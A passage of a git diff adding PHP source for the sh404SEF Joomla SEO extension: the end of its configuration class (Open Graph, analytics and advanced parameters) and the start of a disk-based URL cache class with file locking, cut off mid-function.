$this->useWeblinksCatAlias = $useWeblinksCatAlias; + if (isset($weblinksCategoriesSuffix)) + $this->weblinksCategoriesSuffix = $weblinksCategoriesSuffix; + + if (isset($includeWeblinksCat)) + $this->includeWeblinksCat = $includeWeblinksCat; + + if (isset($includeWeblinksCatCategories)) + $this->includeWeblinksCatCategories = $includeWeblinksCatCategories; + + $this->liveSites = $this->shInitLanguageList(isset($liveSites) ? $liveSites : array(), '', ''); + + if (isset($alternateTemplate)) + $this->alternateTemplate = $alternateTemplate; + + if (isset($useJoomlaRouter)) + $this->useJoomlaRouter = $useJoomlaRouter; + + if (isset($slugForUncategorizedContent)) + $this->slugForUncategorizedContent = $slugForUncategorizedContent; + if (isset($slugForUncategorizedContact)) + $this->slugForUncategorizedContact = $slugForUncategorizedContact; + if (isset($slugForUncategorizedWeblinks)) + $this->slugForUncategorizedWeblinks = $slugForUncategorizedWeblinks; + + // 3.4 + if (isset($enableMultiLingualSupport)) + $this->enableMultiLingualSupport = $enableMultiLingualSupport; + + if (isset($enableOpenGraphData)) + $this->enableOpenGraphData = $enableOpenGraphData; + if (isset($ogEnableDescription)) + $this->ogEnableDescription = $ogEnableDescription; + if (isset($ogType)) + $this->ogType = $ogType; + if (isset($ogImage)) + $this->ogImage = $ogImage; + if (isset($ogEnableSiteName)) + $this->ogEnableSiteName = $ogEnableSiteName; + if (isset($ogSiteName)) + $this->ogSiteName = $ogSiteName; + if (isset($ogEnableLocation)) + $this->ogEnableLocation = $ogEnableLocation; + if (isset($ogLatitude)) + $this->ogLatitude = $ogLatitude; + if (isset($ogLongitude)) + $this->ogLongitude = $ogLongitude; + if (isset($ogStreetAddress)) + $this->ogStreetAddress = $ogStreetAddress; + if (isset($ogLocality)) + $this->ogLocality = $ogLocality; + if (isset($ogPostalCode)) + $this->ogPostalCode = $ogPostalCode; + if (isset($ogRegion)) + $this->ogRegion = $ogRegion; + if (isset($ogCountryName)) + $this->ogCountryName = $ogCountryName; + if (isset($ogEnableContact)) + $this->ogEnableContact = $ogEnableContact; + if (isset($ogEmail)) + $this->ogEmail = $ogEmail; + if (isset($ogPhoneNumber)) + $this->ogPhoneNumber = $ogPhoneNumber; + if (isset($ogFaxNumber)) + $this->ogFaxNumber = $ogFaxNumber; + if (isset($fbAdminIds)) + $this->fbAdminIds = $fbAdminIds; + + if (isset($insertPaginationTags)) + $this->insertPaginationTags = $insertPaginationTags; + + if (isset($UrlCacheHandler)) + $this->UrlCacheHandler = $UrlCacheHandler; + if (isset($displayUrlCacheStats)) + $this->displayUrlCacheStats = $displayUrlCacheStats; + + if (isset($analyticsUserGroups)) + $this->analyticsUserGroups = $analyticsUserGroups; + + // end of parameters + $datas = get_object_vars($this); + + $this->saveOldValues($datas); + + } + } + + // handle "Very advanced" params + if (!defined('sh404SEF_PROTECT_AGAINST_DOCUMENT_TYPE_ERROR')) + { + // define default values for seldom used params + + // SECTION : GLOBAL PARAMETERS for sh404sef --------------------------------------------------------------------- + + $shDefaultParamsHelp['sh404SEF_PROTECT_AGAINST_DOCUMENT_TYPE_ERROR'] = '// if not 0, urls for pdf documents and rss feeds will be only partially turned into sef urls. + //The query string &format=pdf or &format=feed will be still be appended. + // This will protect against malfunctions when using some plugins which makes a call + // to JFactory::getDocument() from a onAfterInitiliaze handler + // At this time, SEF urls are not decoded and thus the document type is set to html instead of pdf or feed + // resulting in the home page being displayed instead of the correct document'; + $shDefaultParams['sh404SEF_PROTECT_AGAINST_DOCUMENT_TYPE_ERROR'] = 0; + + /* + $shDefaultParamsHelp['sh404SEF_PROTECT_AGAINST_BAD_NON_DEFAULT_LANGUAGE_MENU_HOMELINK'] = + '// Joomla mod_mainmenu module forces usage of JURI::base() for the homepage link + // On multilingual sites, this causes homepage link in other than default language to + // be wrong. If the following parameter is non-zero, such a homepage link + // will be replaced by the correct link, similar to www.mysite.com/es/ for instance'; + $shDefaultParams['sh404SEF_PROTECT_AGAINST_BAD_NON_DEFAULT_LANGUAGE_MENU_HOMELINK'] = 1; + + */ + + $shDefaultParamsHelp['sh404SEF_REDIRECT_IF_INDEX_PHP'] = '// if not 0, sh404SEF will do a 301 redirect from http://yoursite.com/index.php + // or http://yoursite.com/index.php?lang=xx to http://yoursite.com/ + // this may not work on some web servers, which transform yoursite.com into + // yoursite.com/index.php, thus creating and endless loop. If your server does + // that, set this param to 0'; + $shDefaultParams['sh404SEF_REDIRECT_IF_INDEX_PHP'] = 1; + + $shDefaultParamsHelp['sh404SEF_NON_SEF_IF_SUPERADMIN'] = '// if superadmin logged in, force non-sef, for testing and setting up purpose'; + $shDefaultParams['sh404SEF_NON_SEF_IF_SUPERADMIN'] = 0; + + $shDefaultParamsHelp['sh404SEF_DE_ACTIVATE_LANG_AUTO_REDIRECT'] = '// set to 1 to prevent 303 auto redirect based on user language + // use with care, will prevent language switch to work for users without javascript'; + $shDefaultParams['sh404SEF_DE_ACTIVATE_LANG_AUTO_REDIRECT'] = 1; + + $shDefaultParamsHelp['sh404SEF_CHECK_COMP_IS_INSTALLED'] = '// if 1, SEF URLs will only be built for installed components.'; + $shDefaultParams['sh404SEF_CHECK_COMP_IS_INSTALLED'] = 1; + + $shDefaultParamsHelp['sh404SEF_REDIRECT_OUTBOUND_LINKS'] = '// if 1, all outbound links on page will be reached through a redirect + // to avoid page rank leakage'; + $shDefaultParams['sh404SEF_REDIRECT_OUTBOUND_LINKS'] = 0; + + $shDefaultParamsHelp['sh404SEF_PDF_DIR'] = '// if not empty, urls to pdf produced by Joomla will be prefixed with this + // path. Can be : \'pdf\' or \'pdf/something\' (ie: don\'t put leading or trailing slashes) + // Allows you to store some pre-built PDF in a directory called /pdf, with the same name + // as a page. Such a pdf will be served directly by the web server instead of being built on + // the fly by Joomla. This will save CPU and RAM. (only works this way if using htaccess'; + $shDefaultParams['sh404SEF_PDF_DIR'] = 'pdf'; + + $shDefaultParamsHelp['SH404SEF_URL_CACHE_TTL'] = '// time to live for url cache in hours : default = 168h = 1 week + // Set to 0 to keep cache forever'; + $shDefaultParams['SH404SEF_URL_CACHE_TTL'] = 168; + + $shDefaultParamsHelp['SH404SEF_URL_CACHE_WRITES_TO_CHECK_TTL'] = '// number of cache write before checking cache TTL.'; + $shDefaultParams['SH404SEF_URL_CACHE_WRITES_TO_CHECK_TTL'] = 1000; + + $shDefaultParamsHelp['sh404SEF_SEC_MAIL_ATTACKS_TO_ADMIN'] = '// if set to 1, an email will be send to site admin when an attack is logged + // if the site is live, you could be drowning in email rapidly !!!'; + $shDefaultParams['sh404SEF_SEC_MAIL_ATTACKS_TO_ADMIN'] = 0; + + $shDefaultParams['sh404SEF_SEC_EMAIL_TO_ADMIN_SUBJECT'] = 'Your site %sh404SEF_404_SITE_NAME% was subject to an attack'; + $shDefaultParams['sh404SEF_SEC_EMAIL_TO_ADMIN_BODY'] = 'Hello !' . "\n\n" + . 'This is sh404SEF security component, running at your site (%sh404SEF_404_SITE_URL%).' . "\n\n" + . 'I have just blocked an attack on your site. Please check details below : ' . "\n" + . '------------------------------------------------------------------------' . "\n" . '%sh404SEF_404_ATTACK_DETAILS%' . "\n" + . '------------------------------------------------------------------------' . "\n\n" . 'Thanks for using sh404SEF!' . "\n\n"; + + $shDefaultParamsHelp['SH404SEF_PAGES_TO_CLEAN_LOGS'] = '// number of pages between checks to remove old log files + // if 1, we check at every page request'; + $shDefaultParams['SH404SEF_PAGES_TO_CLEAN_LOGS'] = 10000; + + $shDefaultParamsHelp['SH_VM_ALLOW_PRODUCTS_IN_MULTIPLE_CATS'] = '// SECTION : Virtuemart plugin parameters ---------------------------------------------------------------------------- + + // set to 1 for products to have requested category name included in url + // useful if some products are in more than one category. If param set to 0, + // only one category will be used for all pages. Not recommended now that sh404SEF + // automatically handle rel=canonical on such pages'; + + $shDefaultParams['SH_VM_ALLOW_PRODUCTS_IN_MULTIPLE_CATS'] = 1; + + $shDefaultParamsHelp['sh404SEF_SOBI2_PARAMS_ALWAYS_INCLUDE_CATS'] = '// SECTION : SOBI2 plugin parameters ---------------------------------------------------------------------------- + + // set to 1 to always include categories in SOBI2 entries + // details pages url'; + $shDefaultParams['sh404SEF_SOBI2_PARAMS_ALWAYS_INCLUDE_CATS'] = 0; + + $shDefaultParamsHelp['sh404SEF_SOBI2_PARAMS_INCLUDE_ENTRY_ID'] = '// set to 1 so that entry id is prepended to url'; + $shDefaultParams['sh404SEF_SOBI2_PARAMS_INCLUDE_ENTRY_ID'] = 0; + + $shDefaultParamsHelp['sh404SEF_SOBI2_PARAMS_INCLUDE_CAT_ID'] = '// set to 1 so that category id is prepended to category name'; + $shDefaultParams['sh404SEF_SOBI2_PARAMS_INCLUDE_CAT_ID'] = 0; + } + + // b/c : try to read "very. advanced" values from disk file + $sefCustomConfigFile = sh404SEF_ADMIN_ABS_PATH . 'custom.sef.php'; + // read user defined values, possibly recovered while upgrading + if (JFile::exists($sefCustomConfigFile)) + { + include($sefCustomConfigFile); + } + else + { + // if the file does not exists, we create it. That way, user still has the ability to manually customize it + // generate string for parameter modification + + if ($app->isAdmin()) + { // only need to modify custom params in back-end + $this->defaultParamList = ' $value) + { + $this->defaultParamList .= "\n"; + if (!empty($shDefaultParamsHelp[$key])) + $this->defaultParamList .= $shDefaultParamsHelp[$key] . "\n"; + // echo help text, if any + $this->defaultParamList .= '$shDefaultParams[\'' . $key . '\'] = ' . (is_string($value) ? "'$value'" : $value) . ";\n"; + } + } + + // write to disk + $quoteGPC = get_magic_quotes_gpc(); + $paramsList = $quoteGPC ? stripslashes($this->defaultParamList) : $this->defaultParamList; + JFile::write($sefCustomConfigFile, $paramsList); + } + } + + // read user set values for these params and create constants + if (!empty($shDefaultParams)) + { + foreach ($shDefaultParams as $key => $value) + { + if (!defined($key)) + { + define($key, $value); + } + } + } + + unset($shDefaultParams); + unset($shDefaultParamsHelp); + + // compatiblity variables, for sef_ext files usage from OpenSef/SEf Advance V 1.2.4.p + $this->encode_page_suffix = '';// if using an opensef sef_ext, we don't let them manage suffix + $this->encode_space_char = $this->replacement; + $this->encode_lowercase = $this->LowerCase; + $this->encode_strip_chars = $this->stripthese; + $this->content_page_name = empty($this->pageTexts[Sh404sefFactory::getPageInfo()->currentLanguageTag]) ? 'Page' + : str_replace('%s', '', $this->pageTexts[Sh404sefFactory::getPageInfo()->currentLanguageTag]); // V 1.2.4.r + $this->content_page_format = '%s' . $this->replacement . '%d'; // V 1.2.4.r + $shTemp = $this->shGetReplacements(); + foreach ($shTemp as $dest => $source) + { + $this->spec_chars_d .= $dest . ','; + $this->spec_chars .= $source . ','; + } + JString::rtrim($this->spec_chars_d, ','); + JString::rtrim($this->spec_chars, ','); + + if ($app->isAdmin()) + { + $this->shCheckFilesAccess(); + } + + // hack: from 4.3 on, we may have 2 different analytics types + // so we use the ->analyticsEdition param instead of analytcisEnabled + // but we must carry on existing configuration + // this should run only once, upon installation of 4.3+ version + if (!empty($this->analyticsEnabled) && $this->analyticsEdition == 'none') + { + $this->analyticsEnabled = '0'; + $this->analyticsEdition = 'ga'; + $this->analyticsUgaId = ''; + + // save to db + $rawParams = Sh404sefHelperGeneral::getComponentParams($reset); + $rawParams->set('analyticsEnabled', false); + $rawParams->set('analyticsEdition', 'ga'); + $rawParams->set('analyticsUgaId', ''); + $rawParams->set('analyticsGtmId', ''); + Sh404sefHelperGeneral::saveComponentParams($rawParams); + } + + include 'config.' . Sh404sefConfigurationEdition::$id . '.php'; + } + + public function shCheckFileAccess($fileName) + { + $ret = is_readable(sh404SEF_ABS_PATH . $fileName) && is_writable(sh404SEF_ABS_PATH . $fileName) ? JText::_('COM_SH404SEF_WRITEABLE') + : JText::_('COM_SH404SEF_UNWRITEABLE'); + return $ret; + } + + public function shCheckFilesAccess() + { + $status = array(); + //$status['administrator/components/com_sh404sef/config/config.sef.php'] = $this + // ->shCheckFileAccess('administrator/components/com_sh404sef/config/config.sef.php'); + $status['administrator/components/com_sh404sef'] = $this->shCheckFileAccess('administrator/components/com_sh404sef'); + $status['administrator/components/com_sh404sef/custom.sef.php'] = $this + ->shCheckFileAccess('administrator/components/com_sh404sef/index.html'); + $status['administrator/components/com_sh404sef/security'] = $this + ->shCheckFileAccess('administrator/components/com_sh404sef/security/index.html'); + $status['components/com_sh404sef/cache'] = $this->shCheckFileAccess('components/com_sh404sef/cache/index.html'); + $this->fileAccessStatus = $status; + } + + protected function shInitLanguageList($currentList, $default, $defaultLangDefault) + { + $ret = array(); + $shKind = shIsMultilingual(); + $app = JFactory::getApplication(); + if (!$shKind && !$app->isAdmin()) + { + if (empty($currentList) || !isset($currentList[sh404sefFactory::getPageInfo()->currentLanguageTag])) + { + $ret[sh404sefFactory::getPageInfo()->currentLanguageTag] = $defaultLangDefault; + } + else + { + $ret[sh404sefFactory::getPageInfo()->currentLanguageTag] = $currentList[sh404sefFactory::getPageInfo()->currentLanguageTag]; + } + } + else + { + $activeLanguages = shGetActiveLanguages(); + if (empty($activeLanguages)) + { + if (empty($currentList) || !isset($currentList[sh404sefFactory::getPageInfo()->currentLanguageTag])) + { + $ret[sh404sefFactory::getPageInfo()->currentLanguageTag] = $defaultLangDefault; + } + else + { + $ret[sh404sefFactory::getPageInfo()->currentLanguageTag] = $currentList[sh404sefFactory::getPageInfo()->currentLanguageTag]; + } + } + else + { + foreach ($activeLanguages as $language) + { + if (empty($currentList) || !isset($currentList[$language->code])) + { + $ret[$language->code] = $language->code == sh404sefFactory::getPageInfo()->currentLanguageTag ? $defaultLangDefault : $default; + } + else + { + $ret[$language->code] = $currentList[$language->code]; + } + } + } + } + return $ret; + } + + /** + * Return array of URL characters to be replaced. + * Copied from Artio Joomsef V 1.4.0 + * + * @return array + */ + + public function shGetReplacements() + { + // V 1.2.4.q : initialize variable + static $shReplacements = null; + if (isset($shReplacements)) + { + return $shReplacements; + } + $shReplacements = array(); + $items = explode(',', $this->shReplacements); + foreach ($items as $item) + { + if (!empty($item)) + { // V 1.2.4.q better protection. Returns null array if empty + @list($src, $dst) = explode('|', JString::trim($item)); + $shReplacements[JString::trim($src)] = JString::trim($dst); + } + } + return $shReplacements; + } + + /** + * Return array of URL characters to be replaced. + * Copied from Artio Joomsef V 1.4.0 + * + * @return array + */ + + public function shGetStripCharList() + { + static $shStripCharList = null; + if (is_null($shStripCharList)) + { + $shStripCharList = array(); + $shStripCharList = explode('|', $this->stripthese); + } + return $shStripCharList; + } + + public function set($var, $val) + { + if (isset($this->$var)) + { + $this->$var = $val; + return true; + } + return false; + } + + public function version() + { + return $this->version; + } + + protected function saveOldValues($data) + { + + $app = JFactory::getApplication(); + if (!$app->isAdmin()) + { + return false; + } + + // An array name with the names of the arrays that contain parameters for components + $comParams = array('nocache', 'skip', 'useJoomlaRouter', 'notTranslateURLList', 'notInsertIsoCodeList', 'shDoNotOverrideOwnSef', + 'useJoomsefRouter', 'useAcesefRouter', 'compEnablePageId', 'defaultComponentStringList'); + + // Same thing for the language params + $languageParams = array('pageTexts', 'shLangTranslateList', 'shLangInsertCodeList'); + + $newParams = array(); + + foreach ($data as $param => $val) + { + if (in_array($param, $comParams)) //-->just checking is it's a parameter related to components + { + //-->this will be mostly hardcoded and it's basically the reverse process of the one that loads the parameters from the json(database) + //-->into the config class + switch ($param) + { + case 'nocache': + foreach ($val as $com) + { + $newParams['com_' . $com . '___manageURL'] = 1; + } + break; + + case 'skip': + foreach ($val as $com) + { + $newParams['com_' . $com . '___manageURL'] = 2; + } + break; + + case 'useJoomlaRouter': + foreach ($val as $com) + { + $newParams['com_' . $com . '___manageURL'] = 3; + } + break; + + case 'notTranslateURLList': + foreach ($val as $com) + { + $newParams['com_' . $com . '___translateURL'] = 1; + } + break; + + case 'notInsertIsoCodeList': + foreach ($val as $com) + { + $newParams['com_' . $com . '___insertIsoCode'] = 1; + } + break; + + case 'shDoNotOverrideOwnSef': + foreach ($val as $com) + { + $newParams['com_' . $com . '___shDoNotOverrideOwnSef'] = 1; + } + break; + + case 'useJoomsefRouter': + foreach ($val as $com) + { + $newParams['com_' . $com . '___shDoNotOverrideOwnSef'] = 30; + } + break; + + case 'useAcesefRouter': + foreach ($val as $com) + { + $newParams['com_' . $com . '___shDoNotOverrideOwnSef'] = 40; + } + break; + + case 'compEnablePageId': + foreach ($val as $com) + { + $newParams['com_' . $com . '___compEnablePageId'] = 1; + } + break; + + case 'defaultComponentStringList': + foreach ($val as $com => $str) + { + $newParams['com_' . $com . '___defaultComponentString'] = $str; + } + break; + } + //--unseting the array param because he will be replaced the new parameters in the datas array that will become the json object + unset($data[$param]); + } + elseif (in_array($param, $languageParams)) //-->checking to see if the parameter is related to languages parameters + { + switch ($param) + { + case 'pageTexts': + foreach ($val as $lang => $paramval) + { + $newParams['languages_' . $lang . '_pageText'] = $paramval; + } + break; + + case 'shLangTranslateList': + foreach ($val as $lang => $paramval) + { + $newParams['languages_' . $lang . '_translateURL'] = $paramval; + } + break; + + case 'shLangInsertCodeList': + foreach ($val as $lang => $paramval) + { + $newParams['languages_' . $lang . '_insertCode'] = $paramval; + } + break; + } + //--unseting the array param because he will be replaced the new parameters in the datas array that will become the json object + unset($data[$param]); + } + elseif ($val === false) + { + $data[$param] = 0; + } + elseif ($val === true) + { + $data[$param] = 1; + } + } + + // get plugins details + if (Sh404sefConfigurationEdition::$id == 'full') + { + $plugin = JPluginHelper::getPlugin('system', 'shmobile'); + $params = new JRegistry(); + $params->loadString($plugin->params); + $newParams['mobile_switch_enabled'] = $params->get('mobile_switch_enabled', 0); + $newParams['mobile_template'] = $params->get('mobile_template', ''); + } + + //merging the new parameters into the datas array that will become the json object; + $data = array_merge($data, $newParams); + + //-->this code is running also on the site part, not only to the admin, so we need to check out if the JPATH_BASE is going to administrator side + + $comConfigModel = Sh404sefHelperGeneral::getComConfigComponentModel(); + $component = $comConfigModel->getComponent(); + if (empty($component->id)) + { + return false; + } + + // Attempt to save the configuration. + $configArray = array('params' => $data, 'id' => $component->id, 'option' => 'com_sh404sef'); + + $comConfigModel->save($configArray); + } + +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/classes/filecache.php b/deployed/sh404sef/administrator/components/com_sh404sef/classes/filecache.php new file mode 100644 index 00000000..ed686eea --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/classes/filecache.php @@ -0,0 +1,443 @@ +_cacheFilename = 'shCacheContent.' . md5( $liveSite); + $this->_cacheFilefullpath = sh404SEF_FRONT_ABS_PATH . 'cache' . '/' . $this->_cacheFilename . '.php'; + $this->_lockFilefullpath = sh404SEF_FRONT_ABS_PATH . 'cache' . '/' . $this->_cacheFilename . '.shlock'; + + // every now and then we clear the cache to let it refill with more recent data + $this->_itsTimeToCheckTTL = mt_rand(1, SH404SEF_URL_CACHE_WRITES_TO_CHECK_TTL) == 1; + + // register method that will store urls created during + // current page request into cache file + if (!empty($this->_config->shUseURLCache)) { + register_shutdown_function( array( $this, 'writeURLCacheToDisk')); + } + + } + + public function getSefUrlFromCache( $nonSefUrl, & $sefUrl) { + + if (!$this->_config->shUseURLCache) { + $sefUrl = null; + $this->_urlCacheMisses += 1; + return sh404SEF_URLTYPE_NONE; + } + + // make sure cache is loaded, in case this method is called first + $this->_loadURLCache(); + + // no urls in cache, no need to go further + if (empty($this->_urlCacheCount) && empty($this->_newUrlsCacheCount)) { + $sefUrl = null; + $this->_urlCacheMisses += 1; + return sh404SEF_URLTYPE_NONE; + } + $key = md5( $nonSefUrl); + if(!empty( $this->_urlCache[$key])) { + $tmp = explode('#', $this->_urlCache[$key]); // cache format : non-sef#sef#type + $sefUrl = $tmp[1]; + ShlSystem_Log::debug( 'sh404sef', 'Retrieved SEF from disk cache : '.$sefUrl.' => '.html_entity_decode( $tmp[0], ENT_QUOTES).'('.$tmp[2].')'); + $this->_urlCacheHits += 1; + return $tmp[2]; + } + + if(!empty( $this->_newUrlsCache[$key])) { + $tmp = explode('#', $this->_newUrlsCache[$key]); // cache format : non-sef#sef#type + $sefUrl = $tmp[1]; + ShlSystem_Log::debug( 'sh404sef', 'Retrieved SEF from disk cache : '.$sefUrl.' => '.html_entity_decode( $tmp[0], ENT_QUOTES).'('.$tmp[2].')'); + $this->_urlCacheHits += 1; + return $tmp[2]; + } + + $this->_urlCacheMisses += 1; + $this->_urlCacheMissesList[] = $nonSefUrl; + return sh404SEF_URLTYPE_NONE; + + } + + // fetch an URL from cache, return null if not found + public function getNonSefUrlFromCache( $sefUrl, & $nonSefUrl) { + + if (!$this->_config->shUseURLCache) { + $nonSefUrl = null; + return sh404SEF_URLTYPE_NONE; + } + + // make sure cache is loaded, in case this method is called first + $this->_loadURLCache(); + + // no urls in cache, no need to go further + if (empty($this->_urlCacheCount) && empty($this->_newUrlsCacheCount)) { + $nonSefUrl = null; + return sh404SEF_URLTYPE_NONE; + } + + // search for requested sef url in disk stored cache + foreach( $this->_urlCache as $key => $value) { + if (strpos( $value, $sefUrl) !== false) { + $tmp = explode('#', $value); // cache format : non-sef#sef#type + $nonSef = html_entity_decode( $tmp[0], ENT_QUOTES); + if ($sefUrl == $tmp[1]) { + $nonSefUrl = $nonSef; + ShlSystem_Log::debug( 'sh404sef', 'Retrieved Non SEF from disk cache : '.$nonSefUrl.' => '.$tmp[1].'('.$tmp[2].')'); + return $tmp[2]; + } + } + } + // search also in urls waiting to be stored to disk + foreach( $this->_newUrlsCache as $key => $value) { + if (strpos( $value, $sefUrl) !== false) { + $tmp = explode('#', $value); // cache format : non-sef#sef#type + $nonSef = html_entity_decode( $tmp[0], ENT_QUOTES); + if ($sefUrl == $tmp[1]) { + $nonSefUrl = $nonSef; + ShlSystem_Log::debug( 'sh404sef', 'Retrieved Non SEF from mem cache : '.$nonSefUrl.' => '.$tmp[1].'('.$tmp[2].')'); + return $tmp[2]; + } + } + } + return sh404SEF_URLTYPE_NONE; + } + + public function addSefUrlToCache( $nonSefUrl, $sefUrl, $UrlType) { + + if (!$this->_config->shUseURLCache) { + return null; + } + + // make sure cache is loaded, in case this method is called first + $this->_loadURLCache(); + + // insertion key + $key = md5( $nonSefUrl); + + // already there? + if(!empty($this->_urlCache[$key]) || !empty( $this->_newUrlsCache[$key])) { + return true; + } + + if (($this->_urlCacheCount + $this->_newUrlsCacheCount) >= $this->_config->shMaxURLInCache) { + return null; // v 1.2.4.c added total cache size control + } + // Filter out non sef url which include &mosmsg, as I don't want to have a cache entry for every single msg + // that can be thrown at me, including every 404 error + if (strpos(strtolower($nonSefUrl), '&mosmsg')) { + return null; + } + + // new cache format : non-sef#sef#type + $this->_newUrlsCache[md5($nonSefUrl)] = htmlentities( $nonSefUrl, ENT_QUOTES).'#'.$sefUrl.'#'.$UrlType; + ShlSystem_Log::debug( 'sh404sef', 'Adding to URL cache : '.$sefUrl.' <= '.$nonSefUrl); + $this->_newUrlsCacheCount++; + return true; + } + + public function removeUrlFromCache( $nonSefUrlList) { + + if (!$this->_config->shUseURLCache || empty($nonSefUrlList)) { + return null; + } + + // make sure cache is loaded, in case this method is called first + $this->_loadURLCache(); + + $foundInDiskCache = false; + $foundInMemCache = false; + foreach ($nonSefUrlList as $nonSefURL) { + if (!empty($this->_newUrlsCache)) { + foreach ($this->_newUrlsCache as $key => $cacheItem) { // look up in memory cache + $tmp = explode('#', $cacheItem); + $cacheNonSef = html_entity_decode( $tmp[0], ENT_QUOTES); + if ($cacheNonSef == $nonSefURL) { + unset($this->_newUrlsCache[$key]); + $this->_newUrlsCacheCount--; + $foundInMemCache = true; + } + } + } + + // TODO: rewrite using md5 key + if (!empty($this->_urlCache)) { + foreach ($this->_urlCache as $key => $cacheItem) { // look up disk cache + $tmp = explode('#', $cacheItem); + $cacheNonSef = html_entity_decode( $tmp[0], ENT_QUOTES); + if ($cacheNonSef == $nonSefURL) { + unset($this->_urlCache[$key]); + $this->_urlCacheCount--; + $foundInDiskCache = true; + } + } + } + } + if ($foundInMemCache) { + $this->_newUrlsCache = array_values($this->_newUrlsCache); // simply reindex mem cache + return; + } + if ($foundInDiskCache) { // we need to remove these url from the disk cache file + // to make it simpler, I simply rewrite the complete file + $this->_newUrlsCache = (empty($this->_newUrlsCache) ? + array_values($this->_urlCache) + :array_merge($this->_urlCache, $this->_newUrlsCache)); + $this->_urlCache = array(); // don't need disk cache anymore, as all URL are in mem cache + // so we remove both on disk cache and in memory copy of on disk cache + $this->purge(); + // no need to write new URL list in disk file, as this will be done automatically at shutdown + } + } + + + public function writeURLCacheToDisk() { + + // If we acquired lock at page load, we can write + if (count($this->_newUrlsCache) && $this->_cacheFileLocked) { + $cache = ''; + $now = time(); + if (!file_exists($this->_cacheFilefullpath)) { + $cache = sprintf( $this->_fileHeader, $this->_config->version, $now); + $this->_urlCacheCreationDate = $now; + } else { + // check cache TTL + if (empty($this->_urlCacheCreationDate)){ // file exists, but creation date is missing : we are upgrading from a previous version + $status = stat($this->_cacheFilefullpath); // lets's read from file status : use last change date as creation date + if (!empty($status)) { + $this->_urlCacheCreationDate = $status[9]; + } + } + if (SH404SEF_URL_CACHE_TTL && $this->_itsTimeToCheckTTL) { // probability = 1/SH404SEF_WRITES_TO_CLEAN_LOGS + if (!empty($this->_urlCacheCreationDate)){ // if we have a valid creation date, check TTL + if (($now-$this->_urlCacheCreationDate) > SH404SEF_URL_CACHE_TTL*3600) { // cache must be cleared + $this->_urlCache = array(); + unlink($this->_cacheFilefullpath); + $this->_urlCacheCreationDate = $now; + $cache = sprintf( $this->_fileHeader, $this->_config->version, $now); + } + } + } + } + $count = count( $this->_urlCache); + $cache .= $this->_varExport( $this->_newUrlsCache, $count); // only need to write memory cache, ie: those URL added since last read of cache from disk + $cache .= "\n".'$shURLCacheCreationDate='.$now.';'; + $cacheFile = fopen( $this->_cacheFilefullpath,'ab'); + if ($cacheFile) { + fwrite( $cacheFile, $cache); + fclose( $cacheFile); + } + + } + + // in any case, release lock to file + $this->_releaseLock(); + } + + public function purge( $allCaches = true) { + + jimport( 'joomla.filesystem.file'); + jimport( 'joomla.filesystem.folder'); + if(!JFolder::exists(sh404SEF_FRONT_ABS_PATH . 'cache')) + { + return; + } + if($allCaches) { + // delete all sh404SEF cache files in the dir + // so as to clear also potential https, or alternate domains caches + jimport( 'joomla.filesystem.folder'); + $files = JFolder::files( sh404SEF_FRONT_ABS_PATH . 'cache', 'shCacheContent\.', $recurse = false, $fullpath = true); + if(!empty( $files)) { + foreach( $files as $file) { + if (JFile::exists( $file)) { + JFile::delete( $file); + } + } + } + } else { + // only delete cache for current live site url + if (JFile::exists( $this->_cacheFilefullpath)) { + JFile::delete( $this->_cacheFilefullpath); + } + if (JFile::exists( $this->_lockFilefullpath)) { + JFile::delete( $this->_lockFilefullpath); + } + } + } + + public function getCacheStats() { + + // collect basic data + $out = parent::getCacheStats(); + + // add urls waiting to be written + $out .= 'In memory, waiting to be written : '. $this->_newUrlsCacheCount . '
    '; + + // add ram usage of cached urls read from disk file + // and stored in ram + $out .= 'Ram used : '. $this->_urlCacheRam . '
    '; + + return $out; + } + + // load cached URL from disk into an array in memory + protected function _loadURLCache() { + + static $shDiskCacheLoaded = false; + + if (!$shDiskCacheLoaded) { + ShlSystem_Log::debug( 'sh404sef', 'Cache not loaded - trying to load '.$this->_cacheFilefullpath); + if (file_exists( $this->_cacheFilefullpath)) { + $startMem = function_exists('memory_get_usage')? memory_get_usage():'unavailable'; + ShlSystem_Log::debug( 'sh404sef', 'Including cache file (mem = '.$startMem.')'); + $this->_urlCache = array(); + // we try lock the cache file until the end of the request + // so as to avoid other concurrent requests writing to it + // while we have some pending data + $this->_acquireLock(); + + // read cache file content + include($this->_cacheFilefullpath); + $this->_urlCacheCreationDate = $shURLCacheCreationDate; + + $endMem = function_exists('memory_get_usage')? memory_get_usage():'unavailable'; + $this->_urlCacheRam = $startMem == 'unavailable' ? $startMem: $endMem - $startMem; + $shDiskCacheLoaded = !empty($this->_urlCache); + $this->_urlCacheCount = !empty($this->_urlCache) ? count($this->_urlCache) : 0; + ShlSystem_Log::debug( 'sh404sef', 'Cache file included : '.($startMem == 'unavailable' ? $startMem: $endMem-$startMem).' bytes used, '.$this->_urlCacheCount.' URLs'); + } else { + // cache file not there, create it + $now = time(); + $cache = sprintf( $this->_fileHeader, $this->_config->version, $now); + + // lock cache file before using it + if ( $this->_acquireLock()) { + $cacheFile = fopen( $this->_cacheFilefullpath,'ab'); + if ($cacheFile) { + fwrite( $cacheFile, $cache); + fclose( $cacheFile); + } + } + $this->_urlCache = array(); + $this->_urlCacheCount = 0; + $shDiskCacheLoaded = true; // we don't want to try again if it failed first time + $this->_urlCacheCreationDate = $now; + ShlSystem_Log::debug( 'sh404sef', 'Cache file does not exists'); + } + } + } + + protected function _acquireLock() { + + $attempts = 0; + $tryAgain = false; + $now = time(); + do { + // directly attempts to create the lock. If it fails, then element is already locked + $handle = @fopen( $this->_lockFilefullpath, 'x'); + if ($handle) { + // we could create file for writing, element is not locked. + // store time, close and return + $written = fwrite( $handle, $now); + $closed = fclose($handle); + // return true if we could write the time stamp + $this->_cacheFileLocked = !empty($written) && $closed; + // we don't try again, even if we failed writing -> something is not working anyway + } else { + // we could not create lock file, element is already locked + // by another process. Check for timeout + // read lock file, and check TTL + if ($this->_itsTimeToCheckTTL) { + $lockTime = JFile::exists($this->_lockFilefullpath) ? file_get_contents( $this->_lockFilefullpath) : 0; + $lockTime = (int) trim( $lockTime); + if (($now - $lockTime) > $this->_lockTtl) { + // existing lock has timed out, we can release it + $this->_cacheFileLocked = $this->_releaseLock( true); + // we have released the lock file, we can try again grabbing it + // as we test also for _cacheFileLocked, this will happen only if the release was successful + $tryAgain = true; + } else { + $tryAgain = false; + } + + } + } + } while (!$this->_cacheFileLocked && $tryAgain); + + return $this->_cacheFileLocked; + } + + protected function _releaseLock( $forced = false) { + + if 